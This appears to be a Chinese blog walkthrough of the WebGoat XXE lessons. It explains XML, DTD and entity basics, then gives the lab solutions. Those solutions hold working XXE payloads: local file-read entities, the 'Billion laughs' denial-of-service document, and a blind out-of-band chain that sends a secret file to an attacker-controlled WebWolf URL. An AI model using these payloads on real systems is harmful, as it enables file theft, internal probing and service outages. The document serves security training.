宣传一波 更好的阅读体验 👉 个人blog
XML External Entities(XXE)
本 节 课 讲 授 了 如何 执行 XML 外部 实体 攻击 , 以及如何 滥用 和 防范 它。
0 基本概念
0.XML基础
XML 指可扩展标记语言(Extensible Markup Language),是一种与HTML类似的纯文本的标记语言,设计宗旨是为了传输数据,而非显示数据。是W3C的推荐标准。
xml和html结构类似,不同的是:
- XML 被设计用来传输和存储数据。
- HTML 被设计用来显示数据。
XML 文档结构包括XML声明、DTD文档类型定义(可选)、文档元素(在下面DTD给的实例代码中强调了)
1.XML标签
XML被设计为具有自我描述性,XML标签是没有被预定义的,需要自行定义标签与文档结构。如下为包含了标题、发送者、接受者、内容等信息的xml文档。
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
- 元素
- 属性
- 实体
- PCDATA
- CDATA
1.每个构建模块的简要描述
1. 元素
元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。实例:
<body>body text in between</body>
<message>some message in between</message>
空的 HTML 元素的例子是 “hr”、”br” 以及 “img”。
2. 属性
属性可提供有关元素的额外信息 实例:
<img src="computer.gif" />
3. 实体
实体是用来定义普通文本的变量。实体引用是对实体的引用。
4. PCDATA
PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
被解析的字符数据不应当包含任何&
,<
,或者>
字符,需要用&
<
>
实体来分别替换。
5. CDATA
CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
2.XML语法规则
XML文档必须有一个根元素
区分大小写
在标记中必须注意区分大小写,在XML中,
<TEST>
和<test>
是两个截然不同的标记
- 要有正确的结束标记,即必须要有一个闭合标签
结束标记除了要和开始编辑在拼写和大小上完全相同,还必须在前面加上一个斜杠“/”
若开始标记
<test>
,结束标记则为</test>
。XML严格要求标记配对,HTML中的<br>
、<hr>
的元素形式在XML中是不合法的。当一对标记之间没有任何文本内容时,可以不写结束标记,在开始标记的末尾加上斜杠”/”来确认,例如:<test />
这样的标记被称为“空标记”。
- 标记要正确嵌套
在一个XML元素中允许包含其他XML元素,但这些元素之间必须满足嵌套性
- 有效使用属性,属性值必须加引号
标记中可以包含任意多个属性。在标记中,属性以名称/取值对出现,属性名不能重复,名称与取值之间用等号“=”分隔,且取值用引号引起来。
举个例子:<衣服 品牌=“耐克” 类型=“T恤” >
XML中空格会被保留
实体引用
<note> <!-- 标题(根元素) -->
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
2.DTD
指文档类型定义(Document Type Definition),通过定义根节点、元素(ELEMENT)、属性(ATTLIST)、实体(ENTITY)等约束了xml文档的内容按照指定的格式承载数据。
简单来说就是DTD可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。(所以说是可选~~)
① 内部的 DOCTYPE 声明:
格式为:<!DOCTYPE 根元素 [元素声明]>
<!--XML 声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
#PCDATA是XML约束文档中的一个概念,用于表示元素的内容是可解析的字符数据。在XML中,#PCDATA用于表示元素中包含的文本内容,它不能包含任何子元素。与CDATA不同,#PCDATA可以包含字符串、子元素和字符串与子元素的组合。在XML约束文档中,如DTD(Document Type Definition)类型约束文档,#PCDATA用于指定元素的内容或属性的取值范围等。
② 外部引用:
格式为:<!DOCTYPE 根元素 SYSTEM ” 文件名 ”>
如下xml代码引用了外部DTD,文件为“note.dtd”
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
note.dtd:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
3.实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
- 实体引用是对实体的引用。
- 实体可在内部或外部进行声明。
简单来说:在DTD中通过<!ENTITY 实体名称 "实体的值">
等方式定义实体,相当于定义变量的作用,可在文档内容中通过&实体名称;
的方式引用实体的值(变量的值)。
说一个很实际的例子
XML元素以形如
<tag>foo</tag>
的标签开始和结束,如果元素内部出现如<
的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义五个实体引用,即用< > & ' "
替换< > & ' "
。
实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。
注意别搞混<!ENTITY
和 <!ELEMENT
<!ENTITY
用于定义实体引用,而<!ELEMENT
用于定义元素的结构和内容。实体引用通常用于引用外部资源,而元素定义则用于指定元素的结构和内容规则。
然后这是webgoat的解释:
一旦XML文档被解析器处理,它将用定义的常量“Jo Smith”替换定义的实体
Java应用程序中,XML可用于将数据从客户端获取到服务器,我们都熟悉JSON API,我们也可以使用XML来获取信息。大多数情况下,框架会根据 xml 结构自动填充 Java 对象,例如
实体类型:实体分为多种类型,从使用范围的维度,分为参数实体(只能在DTD中引用)与非参数实体(可以在DTD中、文档内容中引用)。区别如下:
样例 | 引用方式 | 使用范围与场景 | |
---|---|---|---|
非参数实体 | <!ENTITY country "中国"> |
[HTML_REMOVED] | 在DTD中、文档内容中均可引用,一般用来取代重复的字符串 |
参数实体 | <!ENTITY % countrydefine "xxx元素的DTD定义内容"> |
%country; | 仅能在DTD定义中引用,一般用来保存某段重复的DTD定义 |
从值的来源维度,分为内部实体、外部实体。内部实体为文档内部直接定义值,外部实体为通过http、file等协议从文件外的某处获取内容作为实体的值。区别如下:
样例 | 特征与使用场景 | |
---|---|---|
内部实体 | <!ENTITY country "中国"> |
值是明确的字符串常量等,可以直接定义在本文档中 |
外部实体 | <!ENTITY country SYSTEM "file:///D:/country.txt"> |
值来源于其它文件或者网络 |
4.XML外部实体注入
XML External Entity Injection即xml外部实体注入漏洞,简称XXE漏洞。当xml解析器支持对于外部实体的解析且待解析的xml文件可由外部控制时,就会发生此攻击。攻击者可以通过构造外部实体的内容为本地其它目录下的文件、访问内网/外网的制定url等方式实现自己的攻击目的,达到信息泄露、命令执行、拒绝服务、SSRF、内网端口扫描等攻击目的。
1-3
建议看完上面的基本概念,再看一遍webgoat的,可以有更多理解
引用一位博主的话
下面是XXE注入的粗略理解(确实粗略易懂)
XML声明,一般没啥,约束而已,都会写上
版本编码<?xml version=”1.0” encoding=”UTF-8”?> 文档类型定义(DTD)
重点在这!可以引用内部外部的实体
如:
<!ENTITY % name SYSTEM “file:///etc/passwd">%name;
引用了不就调用了,是不是有点类似文件包含?这个实际上就是把“file:///etc/passwd”赋值给name,那如果file:///etc/passwd
用户可控呢?改成http协议呢?没听懂,再解释一遍吧XML外部实体 ‘name’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体’ name’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。 关键字’SYSTEM’会告诉XML解析器,’ name’实体的值将从其后的URI中读取,并把读取的内容替换name出现的地方。假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(
http://www.baidu.com/zzyy.txt)
]> <元素名称 category=“属性”>文本或其他元素[HTML_REMOVED]总结一下:XXE注入,即XML External Entity,XML外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
ENTITY 实体,在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它。
原文链接:https://blog.csdn.net/zy15667076526/article/details/109560492
4.
在此作业中,您将为照片添加注释,在提交表单时尝试执行 XXE 使用注释字段进行注入。尝试列出文件系统的根目录。
先抓包看看
你可以看发送的数据包携带的数据是xml,说明用户可控
<?xml version="1.0"?><comment><text>666</text></comment>
添加payload
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY flag SYSTEM 'file:///C:/'>
<!-- file:// 表示这是一个文件协议的URL,/C:/ 表示C盘的根目录。-->
]>
<comment><text>
&flag;
</text></comment>
就可以看到flag了,并且评论区也有返回的数据
5-6
5是指导你攻击的,6是代码审计角度发现XXE
7
在现代REST框架中,服务器可能能够接受您作为开发人员没有想到的数据格式。因此,这可能会导致 JSON 端点容易受到 XXE 攻击。
同样是相同的练习,但尝试执行与第一次赋值相同的 XML 注入。
这里我们同样是发送评论抓包
发现Content-Type:application/json
,即json模式的
但是根据提示没有只接收json文件,这里直接换成application/xml
就行了
把下面的数据部分换成
<?xml version="1.0"?>
<!DOCTYPE any[
<!ENTITY flag SYSTEM 'file:///C:/'>
]>
<comment><text>
&flag;
</text></comment>
8.
对第7题的解释
9.
这个挺有意思的,利用XXE进行DOS攻击
案例
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
当 XML 解析器加载此文档时,它会看到它包含一个根元素“lolz”,其中包含文本“[HTML_REMOVED]”。但是,“[HTML_REMOVED]”是一个已定义的实体,它扩展为包含十个“[HTML_REMOVED]”字符串的字符串。每个“[HTML_REMOVED]”字符串都是一个定义的实体,可扩展为十个“[HTML_REMOVED]”字符串,依此类推。在处理完所有实体扩展后,这个小的 (< 1 KB) XML 块实际上将占用近 3 GB 的内存。
这被称为”Billion laughs”
10.
展示了如何通过 Blind XXE 攻击 ping 服务器
11就是实操
11.
根据题意,盗取 目标服务器上的
C:\Users\nonevector/.webgoat-8.2.2//XXE/secret.txt
提示我们可以尝试使用 WebWolf 的landing页面上传此文件:http://localhost:9090/landing
WebGoat是当前论坛服务器,里面有我们的目标文件secret.txt
WebWolf是入侵者的服务器,托管了一个attack.dtd攻击文件
流程:
入侵者进入被害者的论坛,发送信息同时用Burp拦截请求,修改自己的评论内容使其远程链接到入侵者的WebWolf网站的attack.dtd文件,attack.dtd文件读取了被害者服务器中的文件信息,被害者服务器将该私密信息返回到论坛中并显示在网页上。
创建attack.dtd文件
注意需要获取的文件换成你的
file用于获取目标服务器上的文件
print用于发送到webwolf,这个请求会被拦截
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///C:\Users\nonevector/.webgoat-8.2.2//XXE/secret.txt">
<!ENTITY % print "<!ENTITY % send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
<!-- % 是一个字符实体引用,代表百分号(%)。确保了百分号不会被误解为XML标记的一部分。 -->
然后随便发送评论burp抓包,在结尾加上payload ,注意下面的url中的username换成你的,attack.dtd文件名也不能出错
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://localhost:9090/files/username/attack.dtd">
%dtd;
%print;
%send;
]>
<comment> <text>cute</text></comment>
去webwolf看收到的数据(url后面的text)
{
"timestamp" : "2024-01-05T09:03:11.930091100Z",
"principal" : null,
"session" : null,
"request" : {
"method" : "GET",
"uri" : "http://localhost:9090/landing?text=WebGoat%208.0%20rocks...%20(AgzOeuyeHm)",
"headers" : {
"Accept" : [ "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2" ],
"Connection" : [ "keep-alive" ],
"User-Agent" : [ "Java/17.0.9" ],
"Host" : [ "localhost:9090" ]
},
"remoteAddress" : null
},
"response" : {
"status" : 200,
"headers" : { }
},
"timeTaken" : 11
}
最后解密出来时
WebGoat 8.0 rocks... (AgzOeuyeHm)
把这个发送到评论就行了
简述一下过程:发送修改的数据—>%dtd;访问攻击者服务器上的dtd文件—>调用print声明send,调用send,send会再调用file,file用于获取目标服务器上的文件,send发送给攻击者服务器,攻击者服务器获取数据后解析
疑问:
1.这里为什么需要嵌套
<!ENTITY % print "<!ENTITY % send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
答:我试过后看了返回的数据
"javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[5,7]\\nMessage: Server returned HTTP response code: 400 for URL: http:\\/\\/localhost:9090\\/landing?text=%file;]"
# 400 Bad Request 是由于明显的客户端错误(例如,格式错误的请求语法,太大的大小,无效的请求消息或欺骗性路由请求),服务器不能或不会处理该请求。
嵌套应该是为了防止实体用于表示一些无法直接表示的字符或结构(个人猜测)
2.为什么print后还需要send,print不是会调用send吗
%dtd;
%print;
%send;
答:没有调用,仅仅时声明了实体,而send会直接调用file
12-13
讲了xxe和缓解措施和用过静态代码分析查找xxe问题